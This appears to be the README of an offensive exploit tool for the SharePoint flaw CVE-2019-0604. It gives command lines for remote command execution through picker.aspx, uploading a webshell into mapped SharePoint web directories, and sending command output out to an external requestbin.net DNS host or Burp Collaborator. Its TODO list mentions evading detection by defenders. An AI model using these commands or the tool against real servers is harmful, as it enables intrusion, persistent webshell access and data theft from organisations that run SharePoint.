Weaponized CVE-2019-0604

Automated Exploit Tool to Maximize CVE-2019-0604.

Requirement

The requirements.txt file should list all Python libraries this tool used, and they'll be installed using

$ pip install -r requirements.txt

Manual blind exploit (with(out) credential)

$ python exploit.py -u <url-to-picker.aspx> -c whoami --ntlm -U <uname>:<passwd>

Upload function

upload anything cool (webshell, recon tool ...)

Upload cmd.aspx to rcmd.aspx
--file-from /path/to/cmd.aspx --file-to /path/to/web_dir/rcmd.aspx

Directory Mapping

Sharepoint Default Web Virtual Dir:
C:\inetpub\wwwroot\wss\VirtualDirectories\80\_app_bin\ -> <target>/_app_bin/
C:\inetpub\wwwroot\wss\VirtualDirectories\80\_vti_pvt\ -> <target>/_vti_pvt/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\layouts\ -> <target>/_layouts/15/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\controltemplates\ -> <target>/_controltemplates/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\identitymodel\login\ -> <target>/_login/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\template\identitymodel\windows\ -> <target>/_windows/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\wpresources\ -> <target>/_wpresources/
C:\Program Files\Common Files\Microsoft shared\Web Server Extensions\15\isapi\ -> <target>/_vti_bin/

Use OOB to get command result

With collaborator_http_api Burp Extension

1. Install collaborator_http_api.py into BurpSuite (Pro)?

2. Make sure BurpSuite running on the same machine with this exploit.

3. Fire, enjoy the retrieved output :)

$ python exploit.py -u <url-to-picker.aspx> -c whoami --collab --ntlm -U <uname>:<passwd>

With DNSLog s.t. requestbin.net

$ python exploit.py -u <url-to-picker.aspx> -r <path/to/reqFile> --oob 8486990041a11aaa43ce.d.requestbin.net -c "whoami /priv"

Get Data From dns

2050524956494c4547455320494e464f524d4154494f4e
...

Decoded by yourself :)

 PRIVILEGES INFORMATION
...

TODO

• Argument Parser
• SharePoint, CVE-2019-0604
• split cmd into multiple parts (in args.cmds)
• specify binary on demand, avoiding detection by blue team. (hardcode cmd.exe currently)

Author

• Tree